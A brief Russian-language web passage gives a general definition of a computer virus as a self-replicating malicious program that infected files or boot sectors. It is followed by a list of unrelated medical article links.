Что такое вирус Раньше вирусом называлась вредоносная программа, способная к размножению. Размножение вируса осуществлялось путем инфицирования файлов или загрузочных секторов программ. Вирусы, которые инфицировали загрузочные секторы, назывались загрузочными.
Читайте также:
- Хеликс сдать анализ на гепатит с
- Экспресс тест на бешенство у собак
- Ацикловир суспензия вирус коксаки
- Отмена кабинетной системы при орви и гриппе
- Кандиды и вирус взаимодействие